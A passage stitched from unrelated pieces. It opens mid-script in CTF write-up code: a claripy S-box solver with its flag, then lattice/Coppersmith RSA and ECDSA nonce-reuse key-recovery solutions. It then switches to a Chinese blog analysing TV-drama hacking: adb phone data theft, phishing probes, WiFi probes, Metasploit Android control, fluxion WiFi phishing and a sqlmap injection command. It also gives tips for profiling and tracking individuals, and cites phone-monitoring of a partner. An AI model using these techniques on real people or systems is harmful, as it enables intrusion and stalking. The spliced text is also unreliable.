0xAB, 0x3C, 0x75, 0xCD, 0x9F, 0xD2, 0xC3, 0x6C, 0x4D, 0x48, 0xDE, 0x91, 0xBC, 0x66, 0xA9,
0xC4, 0x71, 0xF6, 0x6E, 0x37, 0x79, 0x08, 0xF5, 0x1E, 0xD5, 0xE4, 0xF3, 0xCC, 0xD7, 0x35,
0xEF, 0x2D, 0xB3, 0x15, 0x4A, 0x36, 0x26, 0x19, 0xB9, 0x90, 0x0E, 0x70, 0xF8, 0x3D, 0x7E,
0x97, 0x99, 0xAA, 0x2E, 0x2C, 0x9B, 0x47, 0x25, 0x52, 0x3E, 0xC7, 0x88, 0x7A, 0x8A, 0xD1,
0xAC, 0xE7, 0x05, 0x20, 0x63, 0xDF, 0x60, 0x24, 0xCF, 0x78, 0x02, 0x74, 0xAE, 0xF9, 0xC8,
0x46, 0x98, 0x87, 0x39, 0x5F, 0x83, 0x8B, 0xE6, 0xD3, 0x85, 0xE9, 0xEC, 0x7B, 0x01, 0x1A,
0xA5, 0x7C, 0x95, 0x73, 0x5E, 0xFF, 0xFC, 0xBE, 0x96, 0xFD, 0xED, 0x6F, 0x2B, 0xC5, 0xBB,
0x17, 0x27, 0x58, 0x39, 0x7D, 0xF0, 0x13, 0xD0, 0xA6, 0xE1, 0xBB, 0xB9, 0x00, 0x96, 0x9D,
0x01, 0xCF, 0x18, 0x70, 0xAB, 0x56, 0xE2, 0x5B, 0x1C, 0xF9, 0x6E, 0x49, 0xE8, 0xF5, 0xAC,
0xDB, 0x03, 0x59, 0x5C, 0xAD, 0x0E, 0xA0, 0xC2, 0xDE, 0x5F, 0x69, 0x33, 0x0D, 0xE4, 0x74,
0xB1, 0x7E, 0xAF, 0x24, 0x61, 0x04, 0x88, 0x77, 0x3C, 0x2C, 0x3B, 0xA9, 0xB6, 0xD8, 0x82,
0xA2, 0x37, 0x30, 0xC0, 0xD3, 0x06, 0x7C, 0x2A, 0xBA, 0xAA, 0x19, 0x0A, 0x55, 0x78, 0x8D,
0x54, 0x72, 0x93, 0x20, 0xFC, 0x22, 0xF2, 0x1A, 0x8A, 0x92, 0x94, 0x6F, 0x15, 0xB4, 0x02,
0x42, 0x09, 0x2F, 0x26, 0xCC, 0xD4, 0xB7, 0x5D, 0xD7, 0x83, 0xBC, 0x9E, 0xE7, 0x4F, 0x7B,
0x9B, 0xF4, 0x46, 0x6B, 0x95, 0x36, 0x1B, 0xC6, 0xBE, 0x34, 0x2B, 0x4D, 0x25, 0x62, 0xD2,
0xE3, 0x29, 0xE6, 0x08, 0x4E, 0x71, 0x4C, 0xDA, 0xEC, 0x41, 0xDC, 0xC3, 0x51, 0x4A, 0xC8,
0x6C, 0x66, 0xEE, 0x86, 0xEB, 0xF8, 0x0B, 0xCD, 0xD6, 0x68, 0x10, 0x85, 0x14, 0x28, 0x7A,
0x60, 0x2D, 0xCB, 0xED, 0x52, 0x67, 0x84, 0x38, 0x0F, 0x89, 0x11, 0x91, 0x23, 0xBF, 0xAE,
0xBD, 0xB2, 0x1F, 0x7F, 0x99, 0x79, 0x65, 0x21, 0x1D, 0x73, 0x8E, 0x45, 0xA8, 0xF7, 0xC5,
0x6A, 0x35, 0x57, 0x32, 0x8B, 0x47, 0xC7, 0x48, 0xB8, 0x43, 0x8F, 0x98, 0xC4, 0xFA, 0xDD,
0x76, 0x0C, 0x05, 0xFF, 0xD9, 0xC1, 0xB0, 0x97, 0xD5, 0x16, 0xFD, 0xD1, 0xF3, 0x9C, 0x64,
0xB5, 0x07, 0xA4, 0x2E, 0x5E, 0x12, 0x75, 0xFE, 0x44, 0xF6, 0x1E, 0x8C, 0x80, 0xA3, 0x6D,
0xE5, 0x90, 0xB3, 0xE0, 0x3D, 0xCA, 0xEA, 0xA5, 0xC9, 0xCE, 0xA1, 0xEF, 0x53, 0xFB, 0xF1,
0x50, 0x5A, 0xE9, 0x31, 0x9F, 0x3E, 0x63, 0x9A, 0x3F, 0x87, 0x3A, 0xDF, 0x81, 0x40, 0xA7,
0x4B]
inv_sbox = [0]*0x100
def do_subs(x):
for i in [25, 21, 16, 27 , 4, 10, 23, 7]:
x = sbox[i*0x100+x]
return x
def gen_inv_sbox():
input_data = list(range(0x100))
for j in range(0x100):
input_data[j] = do_subs(input_data[j])
# print(input_data)
for i in range(0x100):
inv_sbox[i] = input_data.index(i)
gen_inv_sbox()
flag = [claripy.BVS('', 32) for i in range(22)]
solve = claripy.Solver()
for i in range(len(flag)):
solve.add(flag[i] >= 0)
solve.add(flag[i] < 0x100)
solve.add(159947*flag[0]-17274276==0)
solve.add(4294891102*flag[1]-288728*flag[0]+36973368==0)
solve.add(-247146*flag[1]-291401*flag[0]-166371*flag[2]+75709167==0)
solve.add(-1741*flag[1]+218084*flag[3]+280814*flag[0]-149372*flag[2]-33947928==0)
solve.add(174323*flag[3]+136024*flag[2]-141923*flag[1]-
301049*flag[4]+323059*flag[0]-53238195==0)
solve.add(-12269*flag[3]+286713*flag[1]-78320*flag[0]+301362*flag[2]+269836*flag[5]-
255324*flag[4]-99312448==0)
solve.add(-103798*flag[2]+201146*flag[5]-285406*flag[3]-188094*flag[4]-
104025*flag[0]-50098*flag[1]-109789*flag[6]+50727897==0)
solve.add(117443*flag[7]+275692*flag[3]+349275*flag[1]-
381943*flag[2]+332376*flag[4]-269146*flag[5]+222994*flag[6]-
267344*flag[0]+9817748==0)
solve.add(19156*flag[6]+-281586*flag[7]-168850*flag[0]+363716*flag[3]-
32886*flag[1]+44299*flag[4]+170590*flag[8]+81061*flag[5]+201865*flag[2]-
32987442==0)
solve.add(22459*flag[6]+-80349*flag[1]+239015*flag[5]-42367*flag[9]-113712*flag[7]-
146568*flag[2]+241696*flag[3]+232212*flag[0]-162511*flag[8]+61621*flag[4]-
41031017==0)
solve.add(-1754*flag[0]+128062*flag[7]-329492*flag[3]-167316*flag[2]-
178991*flag[4]+186377*flag[10]+307270*flag[6]-
328477*flag[8]+248665*flag[1]+374863*flag[9]+373711*flag[5]-86829517==0)
solve.add(11843*flag[5]+17087*flag[3]-35818*flag[0]-182330*flag[7]-354816*flag[4]-
126036*flag[2]+114656*flag[8]-90442*flag[9]+330888*flag[11]+78226*flag[10]-
260641*flag[1]+105414*flag[6]+63250156==0)
solve.add(7469*flag[9]+6283*flag[11]+-
87345*flag[2]+248111*flag[5]+213581*flag[4]+89194*flag[8]+36305*flag[6]+98667*flag[
1]+300755*flag[12]+191415*flag[7]+350540*flag[0]+359565*flag[10]-185365*flag[3]-
165783260==0)
solve.add(8209*flag[8]+131781*flag[1]+152898*flag[0]+40158*flag[11]-86271*flag[12]-
105755*flag[6]+264037*flag[3]-130948*flag[10]-243572*flag[7]-48159*flag[2]-
269443*flag[9]-376534*flag[5]-67954*flag[4]-119669*flag[13]+117580744==0)
solve.add(-3429*flag[6]+102230*flag[5]+126967*flag[10]-344174*flag[8]-
225911*flag[11]+118364*flag[14]-72044*flag[1]+280519*flag[0]-241789*flag[2]-
274918*flag[9]-91055*flag[12]-122403*flag[3]+118907*flag[7]-
34240*flag[13]+240524*flag[4]+35507568==0)
solve.add(-24137*flag[9]+28203*flag[13]+150213*flag[1]+311204*flag[0]-
94750*flag[7]+130029*flag[2]-305057*flag[14]+176246*flag[5]-256662*flag[8]-
331010*flag[12]-301118*flag[4]-309379*flag[10]+187867*flag[3]-102250*flag[11]-
340412*flag[15]+144084*flag[6]+39635710==0)
solve.add(-27445*flag[12]+-289483*flag[10]-164045*flag[16]-
218276*flag[1]+183266*flag[3]-311967*flag[8]-55127*flag[14]-211824*flag[13]-
375628*flag[9]-201931*flag[0]-324618*flag[4]+52026*flag[6]+93926*flag[5]-
105199*flag[7]-254102*flag[15]-159881*flag[11]+378091*flag[2]+106013500==0)
# solve.add(
# 27619 * flag[4]
# + 9873 * flag[1]
# + -23276 * flag[8]
# + -196254 * flag[9]
# + 181235 * flag[0]
# + 150865 * flag[16]
# - 148807 * flag[14]
# - 272020 * flag[17]
# - 346803 * flag[2]
# - (flag[3] | (flag[3] << 16 == 0) == 0)
# + 132879 * flag[10]
# + 239833 * flag[6]
# - 151023 * flag[11]
# + 224631 * flag[12]
# + 294607 * flag[5]
# - 362447 * flag[7]
# - 110250 * flag[15]
# + 153229 * flag[13]
# + 56953741 == 0)
solve.add(-1159*flag[1]+6659*flag[6]+-
25875*flag[7]+80743*flag[10]+38124*flag[9]+40844*flag[13]-
259165*flag[12]+340584*flag[16]+107346*flag[2]-124400*flag[8]-34846*flag[11]-
338119*flag[17]-220860*flag[5]+167374*flag[3]+71134*flag[15]-143594*flag[14]-
115172*flag[4]-104789*flag[0]+108066*flag[18]+50659353==0)
solve.add(-26438*flag[19]+14055*flag[10]+31477*flag[12]+-
179950*flag[4]+79775*flag[17]+70516*flag[5]+330549*flag[2]+169852*flag[11]+51486*fl
ag[7]+123944*flag[13]-370154*flag[14]-132851*flag[18]+237187*flag[3]-89341*flag[9]-
256083*flag[1]+317327*flag[0]+42009*flag[15]+336122*flag[6]+128554*flag[8]-
205903*flag[16]-112255597==0)
solve.add(30250*flag[5]+127076*flag[16]-
218938*flag[0]+162996*flag[14]+141792*flag[12]-197967*flag[9]-247332*flag[4]-
286218*flag[7]-168508*flag[18]+300020*flag[2]-46255*flag[10]-
78960*flag[19]+213181*flag[6]-329333*flag[13]+126938*flag[8]-
266759*flag[11]+182266*flag[17]-41677*flag[1]+158645*flag[15]-
61925*flag[3]+67755*flag[20]-52014431==0)
solve.add(-281*flag[0]+10712*flag[19]+14584*flag[4]+-167168*flag[13]+308120*flag[7]-
233003*flag[8]+114047*flag[14]+330767*flag[10]-71246*flag[6]-
259485*flag[2]+374645*flag[21]-
116397*flag[3]+64115*flag[20]+281339*flag[9]+321916*flag[15]-272240*flag[12]-
135149*flag[16]-288340*flag[18]+71833*flag[11]-233821*flag[1]-
223297*flag[17]+141256*flag[5]+17267952==0)
def test1(x):
a = bytearray(len(x))
for i in range(len(x)):
a[i] = inv_sbox[x[i]]
return bytes(a)
def test2(x):
a = bytearray(len(x))
for i in range(len(x)):
a[i] = do_subs(x[i])
return bytes(a)
for x in solve.batch_eval(flag, 4):
x = bytes(x)
print(test1(x))
# flag: flag{HM_l1c3nc3_0k!!!}

四、Crypto

1.5_vgcd

K * v = tv.T * K.T = t.T用第一组t1搞LLL得到一个K.T,然后v.T = solve_left(K.T,t.T)接着在v.T里面遍历,爆破r,取gcd,根据长度是素性得到pp,然乎copper搞一下,解rsa得到flag。
with open("output7.txt") as f:
 data = f.read().split("\n")

n = eval(data[0])
c = eval(data[1])
t1 = eval(data[2])
t2 = eval(data[3])

M = Matrix(t1)
K = M.LLL()[-3:]

s = K.solve_left(M[:3])
for ss in s:
    a = abs(ss[0])
    b = abs(ss[2])
    for i in range(2^6):
        for j in range(2^6):
            if gcd(a-i,b-j) > 2^10:
                print(gcd(a-i,b-j))

pp = 313246472203572238616195801879608898722966109482769416302463071823547244571165975167479

eta = 288
gamma = 512
P.<x> = PolynomialRing(Zmod(n))
f = x+pp*2^(gamma-eta)
r = int(f.small_roots(X = 2^(gamma-eta), beta = 0.4)[0])

p = f(r)

from Crypto.Util.number import *
long_to_bytes(pow(c,int(pow(0x10001,-1,p-1)),int(p)))

2.5_wb

#!/usr/bin/env python
# coding: utf-8
# In[1]:
from ecdsa import ecdsa as ec 
# In[2]:
r1 = 0xBBDFAC1809250A2BB9415225F7C548CF8C03A5E100F95D52A4AA27F42A2F0FBE
# In[3]:
r2 = 0xBBDFAC1809250A2BB9415225F7C548CF8C03A5E100F95D52A4AA27F42A2F0FBE
# In[4]:
s1 = 0x77FB1A7C7FEA54A2A6C7E7535C28868C10549B831411F7A8EBB9F6DE1B4ADDF6
# In[5]:
s2 = 0x31213DACD2339525C292FC69F8F828D23A3CA73567BACD8EA2ECE8BF653E97F6
# In[6]:
h1 = 0
# In[7]:
h2 = 0x1000000000000000000000000000000000000000000000000000000000000000
# In[11]:
g = ec.generator_256
n = g.order()
# In[12]:
n
# In[13]:
N = 115792089210356248762697446949407573529996955224135760342422259061068512044369
# In[14]:
import gmpy2
# In[15]:
k=((h1-h2)*gmpy2.invert((s1-s2),n))%n
# In[16]:
k
# In[17]:
d=((s1*k-h1)*gmpy2.invert(r1,n))%n
# In[18]:
d
# In[19]:
import libnum
# In[20]:
libnum.n2s(int(2761328357323929781063385491249486142671766712847109466352079855419392))






本文仅对影视剧中涉及的技术进行分析,对剧情不做详细的说明。感兴趣的童鞋可以去看看。
PS: 技术分析按照剧情顺序进行(1~4)集

前言

电视开头,便给我展示了第一种攻击技术,恶意充电宝。看似利用充电宝给手机充电,但是在充电的过程中,便已经获取了用户的信息。
b1kurg32qch15386.png

4zk1ivqg0f015388.png

利用adb命令获取到手机的照片信息

实现原理

这种方法,在我前面的文章中有所涉及《利用树莓派监控女盆友手机》,其实很简单,就是利用adb命令获取手机的信息,当然也可以利用adb命令安装shell。

实现难度

容易,只需要开启手机开发者先选即可。
但是在现实中,手机开发者选项是默认关闭的。像电视中的情形是不会实现的。

信息收集

基于朋友圈收集信息

cn0si4tfchx15393.png


通过对朋友圈非朋友可见十条 查看最近朋友圈的动态,获取对方的相关的信息。再加上推测,得知女主老公出轨的可能性。

表哥建议

非工作需要,还是尽量在微信中,将此功能关闭吧。

基于微信步数的信息收集

ujcfdge4flv15396.png


通过微信步数,可以获取当前在干嘛?如早上八点你刚睡醒,好友的步数已达到5000步,说明他很有可能在跑步锻炼身体。

基于钓鱼链接的信息收集

1dfgt23nlhe15400.png


在表哥前面的文章中,也写过类似的文章。通过探针可以简单的获取目标的IP地址,GPS信息,以及照片,录音等等。但是随着手机安全性能的提高,都会有弹窗提示。

利用百度网盘备份数据

xisgpk4szsc15401.png


这个在生活中,常常遇到。而且在安装百度网盘后,备份通讯录等信息是默认开启的。可以一试!(最好将头像也换掉,这样才真实)

利用滴滴分享行程

1o4txt40rgr15404.png


通过以上方案,主人公成功得到了对方的手机号码,并通过微信查找到了相关的账号。

当然网安专家的电脑中毒了。
no4bs403cqh15407.png

对驱动盘符的破解

trj1px344bs15408.png


这里当然是导演给了密码,要是现实中,复杂的密码程度,估计等这剧结束了,都没破解成功。

控制网吧网络

yujje1e0tvl15409.png


这个应该用的是,运维app或者小程序,进行管理。难度不大。

社会工程学应用

通过在捡垃圾,获取对方有用的信息。所以在日常生活中,快递、外卖等单子如果不处理,都会造成一定的信息泄露。

m5pmq35o0bv15411.png

通过对方一个账号信息,枚举其他账号信息,如贴吧 微博 QQ空间,从而获取对方相关个人信息。

4f1nho2hbou15413.png

WiFi探针

早在之前,央视315就曝光了WiFi探针窃取用户信息的案例。原理是当用户手机无线局域网处于打开状态时,会向周围发出寻找无线网络的信号。一旦探针盒子发现这个信号后,就能迅速识别出用户手机的MAC地址,转换成IMEI号,再转换成手机号码。
因此,一些公司将这种小盒子放在商场、超市、便利店、写字楼等地,在用户毫不知情的情况下,搜集个人信息,甚至包括婚姻、教育程度、收入等大数据个人信息。

qrkghpalohr15414.png

android shell

wionehflil115418.png


从视频可以看出,很基础的msf控制android命令。但是能直接操纵手机编辑,这个就有点夸张了。

3mowglnkjjt15422.png

wifi钓鱼

利用fluxion进行WiFi钓鱼。

345py0bfzcy15424.png

PS (4-8)集,仅对影视剧中的技术进行分析,剧情、人物不加以说明。

接着来看,为了获取诈骗集团的数据,溜到机房下载服务器数据。
rxl0vmxp51z15427.png


这里用到的软件应该用的是XFTP。这也算是物理攻击了吧!

物理攻击

yopynsizsaj15428.png


所谓物理攻击,便是攻击者无法在软件层面或者系统方面找到相关的漏洞。一时无法拿下目标,会到实地考察,通过社会工程学等方法,偷偷潜入目标内部进行攻击。这种攻击,最为致命。
1khlf325urq15429.png

在网安大赛中,用到的工具。在前面的镜头中,应该是利用owasp扫描目标网站的漏洞。说实在的,页面一直没有动,不知道扫了个啥!
owasp扫描器

在攻入了二级防护后,第三局开始,应该还是msf的界面。设置的msf的配置参数,但一直没有exploit不知道在等什么。

fuiklrfiu4d15433.png


倒计时三分钟的时候,应该是开始了sqlmap注入。
xabxlmjonu215437.png

从视频可以看出,用到的命令为
sqlmap -r 1.txt --batch --level 5 -v current-user

sqlmap的使用,在之前的文章中提到的比较多。上面这条命令应该是通过post注入,获取当前系统的用户。

参数解读:

-r 1.txt txt中存放的便是目标的请求数据,一般用burp抓包,保存为txt即可。

-- batch 执行过程中不需要用户输入YES or NO,将会使用sqlmap提示的默认值YES一直运行下去。

--level 风险级别,默认为1,当level为5时会测试很多的payload,效率会降低。

–current-user 获取当前用户名。

总结

电视剧中涉及到的网络安全工具,都是我们平时常见的网络安全知识。影视剧中稍有扩大,但是从剧情方面来看,还是非常棒的,尤其在给大众普及网络安全知识的同时,将网络水军、网络诈骗、杀猪盘、网贷等和百姓有关的话题紧密联系在一起。在视频末尾都会对大家普及一些网络安全知识,值得推荐!


转自文章来源: https://blog.bbskali.cn/3666.html